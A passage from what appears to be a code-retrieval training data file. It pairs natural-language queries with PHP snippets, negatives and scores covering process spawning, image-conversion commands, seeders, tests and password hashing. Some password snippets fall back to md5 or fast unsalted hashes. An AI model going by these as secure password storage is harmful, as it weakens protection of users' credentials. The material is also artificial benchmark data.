"public final function createProcs()\n {\n $new = array();\n if (count($this->procs) < $this->workQueue->count()) {\n $procsToCreate = min($this->numProcs, $this->workQueue->count()) - count($this->procs);\n if ($this->verbose && $procsToCreate > 0) {\n echo \"Creating: $procsToCreate processes\" . PHP_EOL;\n }\n for ($x = 0; $x < $procsToCreate; $x++) {\n $proc = new Process($this->command, $this->procTimeout);\n $this->procs[] = $proc;\n $proc->start();\n $new[] = $proc;\n }\n }\n return $new;\n }",
"private function createCommandLineOptions()\n {\n $commandArguments = [];\n\n // Unlike imagick binary, it seems gmagick binary uses a fixed\n // quality (75) when quality is omitted\n $commandArguments[] = '-quality ' . escapeshellarg($this->getCalculatedQuality());\n\n // encoding\n if ($this->options['encoding'] == 'lossless') {\n // Btw:\n // I am not sure if we should set \"quality\" for lossless.\n // Quality should not apply to lossless, but my tests shows that it does in some way for gmagick\n // setting it low, you get bad visual quality and small filesize. Setting it high, you get the opposite\n // Some claim it is a bad idea to set quality, but I'm not so sure.\n // https://stackoverflow.com/questions/4228027/\n // First, I do not just get bigger images when setting quality, as toc777 does.\n // Secondly, the answer is very old and that bad behaviour is probably fixed by now.\n $commandArguments[] = '-define webp:lossless=true';\n } else {\n $commandArguments[] = '-define webp:lossless=false';\n }\n\n if ($this->options['alpha-quality'] !== 100) {\n $commandArguments[] = '-define webp:alpha-quality=' . strval($this->options['alpha-quality']);\n }\n\n if ($this->options['low-memory']) {\n $commandArguments[] = '-define webp:low-memory=true';\n }\n\n if ($this->options['metadata'] == 'none') {\n $commandArguments[] = '-strip';\n }\n\n $commandArguments[] = '-define webp:method=' . $this->options['method'];\n\n $commandArguments[] = escapeshellarg($this->source);\n $commandArguments[] = escapeshellarg('webp:' . $this->destination);\n\n return implode(' ', $commandArguments);\n }",
"public function run()\n {\n $this->buildPhpContainers();\n $this->buildNginxContainer();\n $this->buildDockerCompose();\n }",
"public function run() {\n $this->base_data();\n $this->minimal_data();\n $project = Project::first();\n\n // Create a bunch more stuff, just for testin'.\n for ($i = 0; $i < 5; $i++) Factory::project($project->id);\n for ($i = 0; $i < 15; $i++) Factory::bid();\n for ($i = 0; $i < 15; $i++) Factory::question();\n for ($i = 0; $i < 10; $i++) Factory::vendor();\n for ($i = 0; $i < 40; $i++) Factory::section();\n\n for ($i = 0; $i < 20; $i++) Factory::project($project->id);\n for ($i = 0; $i < 40; $i++) Factory::bid(array(), $project->id);\n\n }",
"public function getProcess(): Process\n {\n if (count($this->prefix) === 0 && count($this->arguments) === 0) {\n throw new LogicException('You must add() command arguments before calling getProcess().');\n }\n\n $command = array_merge($this->prefix, $this->arguments);\n\n $reflectedProcess = new ReflectionClass(Process::class);\n\n /** @var ReflectionMethod $reflectedConstructor */\n $reflectedConstructor = $reflectedProcess->getConstructor();\n\n $param = $reflectedConstructor->getParameters()[0];\n\n /** @var ReflectionNamedType|null $type */\n $type = $param->getType();\n\n if ($type !== null && $type->getName() === 'array') {\n return new Process($command, null, null, $this->input);\n }\n\n $commandLine = array_shift($command) . ' ';\n $commandLine .= implode(' ', array_map(fn (string $v): string => escapeshellarg($v), $command));\n\n /**\n * @psalm-suppress InvalidArgument\n * @phpstan-ignore-next-line\n */\n return new Process($commandLine, null, null, $this->input);\n }",
"public function run()\n {\n\t\tPageElement::truncate();\n\t\t\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => 'test',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 1\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 2,\n\t\t\t'location' => 'sidebar',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 1,\n\t\t\t'location' => 'content',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n\t\tPageElement::create([\n\t\t\t'page_id' => 1,\n\t\t\t'location' => 'sidebar',\n\t\t\t'controller' => '',\n\t\t\t'action' => '',\n\t\t\t'order' => 0\n\t\t]);\n\n }",
"public function run()\n {\n $this->webposIndex->getMsWebpos()->clickCMenuButton();\n $this->webposIndex->getMsWebpos()->waitForCMenuLoader();\n $this->webposIndex->getCMenu()->ordersHistory();\n $this->webposIndex->getMsWebpos()->waitOrdersHistoryVisible();\n $this->webposIndex->getOrderHistoryOrderList()->waitLoader();\n\n $this->webposIndex->getOrderHistoryOrderList()->waitOrderListIsVisible();\n $this->webposIndex->getOrderHistoryOrderList()->waitForFirstOrderVisible();\n $this->webposIndex->getOrderHistoryOrderList()->getFirstOrder()->click();\n sleep(1);\n // Open shipment popup\n $this->webposIndex->getOrderHistoryOrderViewHeader()->getMoreInfoButton()->click();\n $this->webposIndex->getOrderHistoryAddOrderNote()->getShipButton()->click();\n $this->webposIndex->getOrderHistoryShipment()->getSubmitButton()->click();\n sleep(1);\n $this->webposIndex->getModal()->waitForOkButtonIsVisible();\n $this->webposIndex->getModal()->getOkButton()->click();\n sleep(1);\n\n return ['status' => 'Processing'];\n }",
"public function set_process()\n {\n $this->rewrite = $this->set_CheckedValue(\"Process_Rewrite\");\n $this->extension = $this->set_CheckedValue(\"Process_Extension\");\n $this->stranglerPattern = $this->set_CheckedValue(\"Process_StranglerPattern\");\n $this->continuousEvolution = $this->set_CheckedValue(\"Process_ContinuousEvolution\");\n $this->split = $this->set_CheckedValue(\"Process_Split\");\n $this->processStrategyOthers = $this->set_CheckedValue(\"Process_Others\");\n }",
"public function __construct() {\n\t\t\t// create new page object\n\t\t\t$this->page = new HtmlPage('Page conjunction');\n\n\t\t\t// create new database object\n\t\t\t$this->db = new Database();\n\t\t\t\n\t\t\t// create new request validator\n\t\t\t$this->rq = new RequestValidator();\n\t\t\t\n\t\t\t// execute tool\n\t\t\t$this->run();\n\t\t\t$this->finish();\n\t\t}",
"private function createCommandLineOptions()\n {\n // PS: Available webp options for imagemagick are documented here:\n // https://imagemagick.org/script/webp.php\n\n $commandArguments = [];\n if ($this->isQualityDetectionRequiredButFailing()) {\n // quality:auto was specified, but could not be determined.\n // we cannot apply the max-quality logic, but we can provide auto quality\n // simply by not specifying the quality option.\n } else {\n $commandArguments[] = '-quality ' . escapeshellarg($this->getCalculatedQuality());\n }\n if ($this->options['encoding'] == 'lossless') {\n $commandArguments[] = '-define webp:lossless=true';\n }\n if ($this->options['low-memory']) {\n $commandArguments[] = '-define webp:low-memory=true';\n }\n if ($this->options['auto-filter'] === true) {\n $commandArguments[] = '-define webp:auto-filter=true';\n }\n if ($this->options['metadata'] == 'none') {\n $commandArguments[] = '-strip';\n }\n if ($this->options['alpha-quality'] !== 100) {\n $commandArguments[] = '-define webp:alpha-quality=' . strval($this->options['alpha-quality']);\n }\n\n // Unfortunately, near-lossless does not seem to be supported.\n // it does have a \"preprocessing\" option, which may be doing something similar\n\n $commandArguments[] = '-define webp:method=' . $this->options['method'];\n\n $commandArguments[] = escapeshellarg($this->source);\n $commandArguments[] = escapeshellarg('webp:' . $this->destination);\n\n return implode(' ', $commandArguments);\n }",
"protected function compile()\n {\n $this->runCommand(['npm', 'run', 'dev'], $this->viewsPath(), $this->output);\n }",
"public function testIfProcessCreationWorks()\n {\n $process = $this->api->createProcess(array(\n 'inputformat' => 'pdf',\n 'outputformat' => 'pdf',\n ));\n $this->assertInstanceOf('CloudConvert\\Process', $process);\n }",
"protected function runProcess() {\n//\n// //Sólo se ejecuta si no existe previamente el directorio\n// if (is_dir($destination_path)) {\n// throw new DefaultProjectAlreadyExistsException($this->params[AjaxKeys::KEY_ID]);\n// }\n }",
"public function visit($uri)\n {\n list($this->path, $query) = array_pad(explode('?', $uri), 2, null);\n\n $this->determinePath();\n\n $command = $this->buildEnvironmentVariables($query) . $this->buildCallToScript();\n\n $process = new Process($command);\n $process->run();\n\n if (!$process->isSuccessful()) {\n $this->successful = false;\n\n if ($this->abort_on_error) {\n throw new ProcessFailedException($process);\n }\n\n return $this;\n }\n\n $this->successful = true;\n\n $this->response = $process->getOutput();\n\n $this->crawler = new Crawler($this->response, $uri);\n\n return $this;\n }",
"public function setupCommand(): void\n {\n $behatBuildPath = FLOW_PATH_ROOT . 'Build/Behat/';\n if (is_dir($behatBuildPath)) {\n Files::emptyDirectoryRecursively($behatBuildPath);\n }\n $this->outputLine('Copying Behat setup to %s', [$behatBuildPath]);\n Files::copyDirectoryRecursively('resource://Neos.Behat/Private/Build/Behat', $behatBuildPath);\n\n $behatBinaryPath = FLOW_PATH_ROOT . 'bin/behat';\n if (is_file($behatBinaryPath)) {\n $this->outputLine('Removing existing Behat binary %s', [$behatBinaryPath]);\n unlink($behatBinaryPath);\n }\n $this->outputLine('Installing Behat in %s', [$behatBuildPath]);\n exec('cd \"' . $behatBuildPath . '\" && composer install');\n $this->outputLine();\n $this->outputLine('Installed Behat to %s, binary to %s', [$behatBuildPath, $behatBinaryPath]);\n\n $seleniumBinaryPath = FLOW_PATH_ROOT . 'bin/selenium-server.jar';\n if (!is_file($seleniumBinaryPath)) {\n $seleniumVersion = 'selenium-server-standalone-2.53.1.jar';\n $seleniumUrl = 'https://selenium-release.storage.googleapis.com/2.53/' . $seleniumVersion;\n $this->outputLine('Downloading Selenium %s to bin/selenium-server.jar...', [$seleniumVersion]);\n if (copy($seleniumUrl, FLOW_PATH_ROOT . 'bin/selenium-server.jar') !== true) {\n throw new \\RuntimeException('Could not download selenium from ' . $seleniumUrl . '.');\n }\n $this->outputLine('Downloaded Selenium to bin/selenium-server.jar');\n $this->outputLine('You can execute it through: \"java -jar selenium-server.jar\"');\n } else {\n $this->outputLine('Skipped downloaded of Selenium, to update or reinstall delete bin/selenium-server.jar and run setup again');\n }\n }",
"public static function launcher()\n {\n $displayerrors = get_plugin_setting('displayerrors', 'elgg_developer_tools');\n if ($displayerrors) ini_set('display_errors', 1);\n \n /** delete views if its requested **/\n $deleteviews = get_plugin_setting('deleteviews', 'elgg_developer_tools');\n if ($deleteviews) self::_deleteViews();\n \n /** include firePHP if need be **/\n $firephp = get_plugin_setting('enablefirephp', 'elgg_developer_tools');\n if ($firephp) {\n require_once dirname(__FILE__) . '/firephp/FirePHP.class.php';\n require_once dirname(__FILE__) . '/firephp/fb.php';\n }\n else {\n require_once dirname(__FILE__) . '/FirePHPDisabled.php';\n }\n }",
"function runBackgroundProcess() {\n }",
"protected function process()\n {}",
"private function spawn_childs($processes)\n\t{\n\t\t$processes = intval($processes);\n\t\tif ( ! $processes)\n\t\t{\n\t\t\t$processes = 6;\n\t\t}\n\t\t$running = array();\n\t\t\n\t\t// TODO only feeds with users\n\t\t$feed = new Model_Feed();\n\t\t$feeds = $feed->find_all();\n\n\t\tforeach ($feeds as $feed)\n\t\t{\n\t\t\t// wait until we're ready to spawn a new process\n\t\t\t$this->check_ready($running, $processes);\n\n\t\t\t$cmd = 'php ' . DOCROOT . 'index.php --task=feeds:update --feed=' . $feed->pk();\n\n\t\t\t// start new child and save pid\n\t\t\t$pipes = array();\n\t\t\t$running[] = proc_open($cmd, array(), $pipes);\n\t\t}\n\t}",
"public function process()\n {\n $this->run_deploystudio_stats();\n }",
"public function testOpenBrowser()\n\t{\n\t\t$this->url('/');//The test page has only phpinfo(); as HTML content\n\t\t$content = $this->byTag('body')->text();\n\t\t// $this->assertEquals('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\t\t$this->assertContains('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\n\t\t//Simulating and ajax call\n\t\t//Will loop on the callback for 2 seconds before continuing scripts below\n\t\t// $this->timeouts()->implicitWait(300); //milliseconds\n\t\t$this->waitUntil(function(){\n\t\t\ttry{\n\t\t\t\t// $webdriver->byId('rootElement');//select by id\n\t\t\t\t$this->byCssSelector('h1.p');//select by css\n\n\t\t\t\treturn true;\n\t\t\t}catch (Exception $ex){\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}, 2000);//2 seconds\n\t\t//This is run after the waitUntil finished in 2 seconds\n\t\t$content = $this->byCssSelector('h1.p')->text();\n\t\t$this->assertEquals('PHP Version 5.6.20-1+deb.sury.org~trusty+1', $content);\n\n\t}",
"public function process() {\n }",
"public function process() {\n }",
"public function process() {\n }",
"function main() {\n\t\tif (!$this->_registerPid()) {\n\t\t\t$this->out('Unable to register Pid');\n\t\t\t$this->_stop();\n\t\t}\n\t\tif (file_exists($this->params['working'] . DS . '.autotest')) {\n\t\t\tinclude($this->params['working'] . DS . '.autotest');\n\t\t}\n\t\tif (!empty($this->params['notify'])) {\n\t\t\t$this->settings['notify'] = $this->params['notify'];\n\t\t}\n\t\tif (!empty($this->params['mode'])) {\n\t\t\t$this->settings['mode'] = $this->params['mode'];\n\t\t}\n\t\t$suffix = '';\n\t\tif (!empty($this->settings['mode'])) {\n\t\t\t$suffix = ' (' . $this->settings['mode'] . ' mode)';\n\t\t}\n\n\t\tNotify::$method = $this->settings['notify'];\n\t\t$this->addHooks();\n\t\tNotify::message('Autopilot Starting', 'in ' . APP_DIR . $suffix, 0, false);\n\t\t$this->buildPaths();\n\t\t$this->run();\n\t}",
"public function doProcess(){\n $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';\n exec($command ,$pross);\n $this->pid = (int)$pross[0];\n }"
] | [
"0.7562422",
"0.6619569",
"0.6456397",
"0.56571555",
"0.55184805",
"0.55184805",
"0.55042684",
"0.5494492",
"0.54311246",
"0.5330774",
"0.5321469",
"0.52712125",
"0.52488786",
"0.52486235",
"0.5231344",
"0.52223074",
"0.5145848",
"0.51160634",
"0.5112682",
"0.50869155",
"0.50343317",
"0.50272155",
"0.50031096",
"0.4980256",
"0.49794164",
"0.49730316",
"0.49550775",
"0.49513775",
"0.4950341",
"0.49429148",
"0.49231538",
"0.492242",
"0.49219027",
"0.49218374",
"0.4917391",
"0.4909844",
"0.48895234",
"0.48854762",
"0.48729688",
"0.48517048",
"0.4833971",
"0.48280576",
"0.48254955",
"0.481763",
"0.48110422",
"0.48077244",
"0.47954315",
"0.4792882",
"0.47888",
"0.47875625",
"0.47875625",
"0.47875625",
"0.47867727",
"0.47850204",
"0.47762695",
"0.475636",
"0.47247887",
"0.47104552",
"0.47104552",
"0.47104552",
"0.47104552",
"0.4705287",
"0.47027427",
"0.46984544",
"0.46874514",
"0.46828553",
"0.46701518",
"0.46645647",
"0.4664211",
"0.46595496",
"0.46517342",
"0.46371806",
"0.46350712",
"0.46301433",
"0.46214628",
"0.4619606",
"0.4618945",
"0.46043295",
"0.46022478",
"0.45818883",
"0.45767066",
"0.4573154",
"0.4561187",
"0.45562932",
"0.4554395",
"0.45507115",
"0.45451295",
"0.45369798",
"0.45330462",
"0.45219254",
"0.45134187",
"0.44939554",
"0.44909722",
"0.44884935",
"0.44881764",
"0.4487319",
"0.4487319",
"0.4487319",
"0.4485078",
"0.4482826"
] | 0.83233285 | 0 |
Set the path to the custom Phantomdriver. | public static function usePhantomdriver($path)
{
static::$phantomDriver = $path;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function setPath($path){ }",
"public function setPath( $path );",
"public function setPath($path);",
"public function setPath($path);",
"public function setPath($path);",
"public function setPath($path);",
"public function set_path() {\n\t\t\t\n\t\t\t// pick up the path types\n\t\t\t$path_types = include_once(CONFIGPATH . 'path-types.php' );\n\n\t\t\t// get the base path for the deploy type\n\t\t\t$base_path = $path_types[ $this->repo[ 'type' ] ];\n\n\t\t\t// check if it is a valid path\n\t\t\t$this->is_path_valid( $base_path );\n\n\t\t\t// append the repositories name to get the final deploy path\n\t\t\t$this->repo[ 'path' ] = $base_path . '/' . $this->repo[ 'name' ];\n\t\t}",
"public function set_path($path) {\n $this->path = $path;\n }",
"public function setPath($path = '');",
"public static function setPath($path)\n {\n }",
"protected function setUpInstancePath() {\n\t\t$this->instancePath = BEHAT_ROOT;\n\t}",
"public static function set_path($path) {\n\t\tstatic::$path = $path;\n\t}",
"public function setScriptPath($path);",
"public function setPath($path)\n {\n return parent::setPath($path);\n }",
"public function setPath($path)\r\n\t{\r\n\t\t$this->path=$path;\r\n\t}",
"public function setPath($path)\n\t{\n\t\t$this->path = $path;\n\t}",
"public static function setPath($path)\n\t{\n\t\tself::$path = $path;\n\t}",
"protected function setPath()\n {\n $this->path = self::PATH_SKIN\n . LC_DS . $this->skin\n . ($this->locale && $this->locale != 'en' ? '_' . $this->locale : '')\n . LC_DS;\n }",
"private function setPath($path) {\n return;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath($path)\n {\n $this->path = $path;\n }",
"public function setPath()\n {\n $this->path = $this->getNamespace() . $this->getControllerName();\n }",
"public function setPath($path)\n\t{\n\t\t/* This must be created here to prevent the directory from\n\t\t * becoming automatically converted to an absolute path. */\n\t\t$this->path = new PhingFile($path);\n\t}",
"public function setPath(string $path)\n {\n $this->path = $path;\n\t}",
"public function setPath($file);",
"public function setPath($path)\n\t{\n\t\t\n\t\t$this->__path = (string)$path;\n\n\t}",
"function set_path($path) \n {\n $this->path = \"/\" . trim($path, \"/\");\n }",
"public function SetPath($path)\n\t{\n\t\t$this->path = $path;\n\t}",
"public function setPath( $path )\n {\n $this->path = us($path);\n }",
"public function setPath( $path ) {\n\t\t$this->seedPath = rtrim( $path, '/' ) . '/';\n\t}",
"public function setPath(PhingFile $path)\n\t{\n\t\t$this->path = $path;\n\t}",
"function __construct() {\n parent::__construct();\n array_push($this->_config_paths, APPPATH.'custom/');\n }",
"function setPath($path)\n {\n $this->path = trim($path);\n }",
"function setPath() {\n\n // Wp installation path\n $wp_install_path = str_replace( 'http://' . $_SERVER['HTTP_HOST'], '', site_url());\n\n // Set the instance starting path\n $this->path = $wp_install_path . App::getOption('path');\n\n // Grab the server-passed \"REQUEST_URI\"\n $this->current_uri = $this->request->server()->get('REQUEST_URI');\n\n // Remove the starting URI from the equation\n // ex. /wp/cocoon/mypage -> /mypage\n $this->request->server()->set(\n 'REQUEST_URI', substr($this->current_uri, strlen($this->path))\n );\n\n }",
"public function setScriptPath()\n\t{\n\t\t$this->scriptPath = Yii::getPathOfAlias('webroot').$this->ds.$this->suffix.$this->ds;\n\t}",
"public function setPath($path) { \n $this->__imageSavePath = $path; \n }",
"protected function setPath ($p) {\n\t\t$path = realpath($p);\n\t\tif (!$path) throw new Spd_IOException('No target path: [' . $p . ']');\n\t\tif (!is_dir($path)) throw new Spd_IOException('Target path not dir: ' . var_export($p,1));\n\t\t$this->path = $path;\n\t}",
"protected function setPath( string $path ) : void\n {\n $this->path = DIGITAL_BASE_PATH.$path;\n }",
"public function setPath($path)\n {\n if ($path == self::AUTO_DETECT) $path = $this->findSendmail();\n $this->path = $path;\n }",
"function setPath($path) {\r\n\t\tif($this->configured) {\r\n\t\t\treturn 'Configuration is frozen';\r\n\t\t}\r\n\t\t$URLDecodedPath = '';\r\n\t\t$URLDecodedPath = urldecode($path);\r\n\t\t$this->path = $URLDecodedPath;\r\n\t}",
"public function setPath(string $path): self;",
"public function setPath(string $path): self;",
"public function setPath($path)\n {\n return $this->finder->setPath($path);\n }",
"function setClassMappingsPath($value) {\n\t\t//$path = realpath($value . '/') . '/';\n\t\t$GLOBALS['amfphp']['customMappingsPath'] = $value;\n\t}",
"public function setDirectory(string $path) : ConfigLoader;",
"function setDriverDir( $driverDir )\n\t{\n\t\t$this->driverDir = $driverDir;\n\t}",
"public static function setPath($path)\n {\n static::$pathTop = $path;\n }",
"protected function setPath()\n {\n $main = dirname(__DIR__);\n define('MAIN_PATH', $main);\n define('MEDIA_PATH', $main . '/media');\n\n return $this;\n }",
"public function setPath( $path )\n\t{\n\t\t$this->path = $path;\n\t\t$this->modified = true;\n\t}",
"public function set_base_path( $path ) {\n\t\t$this->base_path = $path;\n\t}",
"public function setPath(string $path): void\n {\n $this->path = (string) $path;\n }",
"public function setBasePath($path);",
"public function setClassPath($class, $path)\n {\n $class = strtolower($class);\n\n $this->overriden[$class] = $path;\n\n $this->classes[$class] = $path;\n }",
"public function setClassPath($class, $path)\n {\n $class = strtolower($class);\n\n $this->overriden[$class] = $path;\n\n $this->classes[$class] = $path;\n }",
"public function setBrowseBase($path)\n {\n\n $this->browseBase = $path;\n }",
"public function setFixturesPath($path)\n\t{\n\t\tself::$test->setFixturesPath($path);\n\t}",
"public function setPath( $val ) { $this->__set('path', $val); }",
"protected\n function getPath($path)\n {\n // By default, we won't do anything, but\n // it can be overridden from a child class\n return $path;\n }",
"public function setPath($path) {\n $this->path = $path . \".html\";\n $this->twigEngine->setLoader(new \\Twig_Loader_Filesystem(dirname($this->path)));\n }",
"public function setClassFilePath( & $path )\n {\n $this->classPath = & $path;\n }",
"public function __construct( $path )\n {\n $this->setPath( $path );\n }",
"public static function setPath($path){\n \\Illuminate\\View\\Compilers\\BladeCompiler::setPath($path);\n }",
"function set_path($path, $value) {\n\t$GLOBALS['laravel_paths'][$path] = $value;\n}",
"public function setPaths($paths) {\n $this->paths = $paths;\n }",
"public function setPaths($paths) {\n $this->paths = $paths;\n }",
"function set_path($path, $value)\n{\n\t$GLOBALS['laravel_paths'][$path] = $value;\n}",
"public function set_driver($driver)\n {\n $this->_driver = $driver;\n }",
"protected function setBasePath()\n {\n $this->container->instance('path.base', $this->basePath);\n }",
"public function setSavePath(string $path);",
"public function setPath($value = null)\n {\n\n }",
"public function setFilepath($filepath);",
"public function __construct($path){\n $this->path = $path;\n }",
"protected function _setPlugin() {\n\t\tif (!isset($this->plugin)) {\n\t\t\t$this->plugin = str_replace('EventsTest', '', get_class($this));\n\t\t}\n\t}",
"public function set( $path ) {\n\t\t$this->path = $path;\n\n\t\t$path_info = pathinfo( $this->path );\n\n\t\t$this->file = $path_info['basename'];\n\t\t$this->extension = $path_info['extension'] == 'jpg' ? 'jpeg' : $path_info['extension'];\n\t\t$this->filename = $path_info['filename'];\n\n\t\t$this->server = 'http' . ($_SERVER['HTTPS'] == 'on' ? 's' : '') . '://' . $_SERVER['HTTP_HOST'];\n\n\t\t$this->url = $this->server.str_replace( $this->base_dir, '', $this->path );\n\t}",
"public function setScriptPath($path)\n {\n $this->_scripPath = $path. DIRECTORY_SEPARATOR . 'Scripts';\n return $this;\n }",
"protected function defineSitePath() {}",
"public function setPaths($paths)\n {\n $this->__paths = $paths;\n }",
"static public function registerPath($path)\r\n {\r\n self::$paths[] = $path;\r\n }",
"protected function setUp(){\r\n $this->uriPath = new yUriPath;\r\n }",
"public function set_package_path()\n\t{\n\t\t$module_path=$this->_ci->config->item('module_path');\n\t\t$this->_ci->load->set_package_path($module_path.'/'.$this->type.'/'.$this->key);\n\t}",
"public function setApplicationPath($path, $type)\n {\n $this->paths[$type] = $path;\n }",
"public function setPathPaginator($path = null)\n {\n if (!empty($path)) {\n $this->pathPaginator = $path;\n } else {\n $this->pathPaginator = APP_PATH . '/views/paginator/';\n }\n }",
"public function setPath($path)\n {\n $this->options['path'] = $path ?? $this->options['path'];\n return $this;\n }",
"public function setRootPath($path);",
"private function setPath()\n {\n $path = getenv('PATH') . ':/usr/local/bin';\n $_SERVER['PATH'] = $path;\n\n }",
"protected function setComponentPath()\n {\n return $this->aframe_component_path = $this->getPublicRoot() . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . $this->aframe_component_vendor . DIRECTORY_SEPARATOR . $this->aframe_component_name;\n }",
"public function __construct($path = null)\n {\n $this->set($path);\n }",
"public function setDataFile($path)\n {\n $this->setDataFileFromPath($path);\n }",
"public function setDataFile($path)\n {\n $this->setDataFileFromPath($path);\n }",
"function setClassPath($value) {\n\t\t//$path = realpath($value . '/') . '/';\n\t\t$GLOBALS['amfphp']['classPath'] = $value;\n\t}",
"public function stubPath()\n {\n return 'stub_path';\n }",
"public function configurePaths()\n {\n $configurer = new Configurer($this, [\n 'models_path' => [\n 'question' => 'Where do you wish to save the models?',\n 'default' => config('starter.model.path'),\n 'config' => 'starter.model.path'\n ],\n 'controllers_path' => [\n 'question' => 'Where do you wish to save the controllers?',\n 'default' => config('starter.controller.path'),\n 'config' => 'starter.controller.path'\n ],\n 'repositories_path' => [\n 'question' => 'Where do you wish to save the repositories?',\n 'default' => config('starter.repository.path'),\n 'config' => 'starter.repository.path'\n ],\n 'transformers_path' => [\n 'question' => 'Where do you wish to save the transformers?',\n 'default' => config('starter.transformer.path'),\n 'config' => 'starter.transformer.path'\n ]\n ]);\n $configurer->run();\n $configurer->save();\n }",
"public function __construct($path) {\r\n\t\tparent::__construct();\r\n\t\t$this->_path = $path;\r\n\t}",
"public function set_path(string $path) : self\n {\n if (!isset($this->filePath)) {\n $this->filePath = $path;\n }\n return $this;\n }",
"public function setContextPath($path) {\n\t\t\n\t}"
] | [
"0.6489183",
"0.62888527",
"0.62695575",
"0.62695575",
"0.62695575",
"0.62695575",
"0.61173314",
"0.6025576",
"0.600484",
"0.5994406",
"0.5989405",
"0.593953",
"0.593605",
"0.5931841",
"0.5899686",
"0.58988804",
"0.5875352",
"0.5872579",
"0.5846677",
"0.5842082",
"0.5842082",
"0.5842082",
"0.5842082",
"0.5842082",
"0.5842082",
"0.5842082",
"0.58362323",
"0.5832315",
"0.58296984",
"0.5813913",
"0.57727015",
"0.5732096",
"0.5727102",
"0.5712206",
"0.5707049",
"0.5693409",
"0.56826967",
"0.5677649",
"0.5630565",
"0.56279075",
"0.56045127",
"0.558048",
"0.5558962",
"0.55526024",
"0.5550428",
"0.5534125",
"0.5534125",
"0.5496786",
"0.548857",
"0.5478869",
"0.5470976",
"0.5435746",
"0.5407473",
"0.54061157",
"0.54061145",
"0.5365281",
"0.53582615",
"0.53568196",
"0.53568196",
"0.5349127",
"0.5341256",
"0.53402764",
"0.5335387",
"0.5324075",
"0.53046453",
"0.52841383",
"0.52762175",
"0.5261127",
"0.5259894",
"0.5259894",
"0.5255891",
"0.5241341",
"0.5241127",
"0.5238846",
"0.5237549",
"0.5232831",
"0.52269065",
"0.52213764",
"0.52204907",
"0.52135086",
"0.5209962",
"0.52089995",
"0.52032954",
"0.5198849",
"0.5196738",
"0.5192185",
"0.518979",
"0.5187585",
"0.516873",
"0.51619273",
"0.51597285",
"0.5157502",
"0.5131268",
"0.5131268",
"0.5107655",
"0.50939727",
"0.50933444",
"0.50786644",
"0.5073333",
"0.5069713"
] | 0.75040364 | 0 |
Get Generated Password Hash | public static function getGeneratedPasswordHash($password) {
if (self::checkIsAvailableCryptBlowFish()) {
$salt = '$2y$11$' . substr(md5(uniqid(mt_rand(), true)), 0, 22);
return crypt($password, $salt);
}
return md5($password);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function GetPasswordHash ();",
"public function generateHash (string $password): string;",
"public function generatePassword() {\n $generator = new UriSafeTokenGenerator();\n $token = $generator->generateToken();\n return substr($token, 0, 6);\n }",
"public function GetPasswordHash() {\n return $this->passwdHash;\n }",
"private function generate_pass()\n {\n echo password_hash('admin', PASSWORD_BCRYPT);\n }",
"function GenerateHashPassword($pass){\n\treturn password_hash($pass, PASSWORD_DEFAULT);\n}",
"public static function generatePassword()\n {\n return bcrypt(str_random(35));\n }",
"public function generateHash()\n {\n do {\n $hash = Security::randomString(8);\n } while ($this->exists(['hash' => $hash]));\n\n return $hash;\n }",
"public function password() {\n return Hash::make('MonsterRXBOCS');\n }",
"public static function generatePassword()\n {\n return bcrypt(str_random(35));\n }",
"public static function generatePassword()\n {\n return bcrypt(str_random(35));\n }",
"public function createHash($password){\r\n $options = [\r\n 'cost' => 10,\r\n ];\r\n $hash = password_hash($password, PASSWORD_DEFAULT, $options);\r\n return $hash;\r\n}",
"function cafet_generate_hashed_pwd(string $password): string\n {\n $salt = base64_encode(random_bytes(32));\n $algo = in_array(Config::hash_algo, hash_algos()) ? Config::hash_algo : 'sha256';\n \n return $algo . '.' . $salt . '.' . cafet_digest($algo, $salt, $password);\n }",
"public static function generatePassword() {\r\n return StringGenerator::generateRandomAlphaAndNumbersAndSpecial(12);\r\n }",
"static private function getChangePasswordHash() {\r\n\t\treturn self::getRandomHash();\r\n\t}",
"public function getPasswordHash() : string{\n \treturn $this->getConfig()->getAll()[\"passwordHash\"];\n }",
"public function getPass()\n {\n return password_hash($this->db->real_escape_string($this->pass), PASSWORD_BCRYPT, ['COST'=>4]);;\n }",
"private function generateMD5Pass() {\n $plaintext = $this->generator->generateString(8, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^+');\n $hash = md5($plaintext);\n return $hash;\n }",
"function generateRandomPassword(){\n $n = 10;\n $result = bin2hex(random_bytes($n));\n return $result;\n }",
"function getPasswordHash($password)\r\n {\r\n return ( hash( 'whirlpool', $password ) );\r\n }",
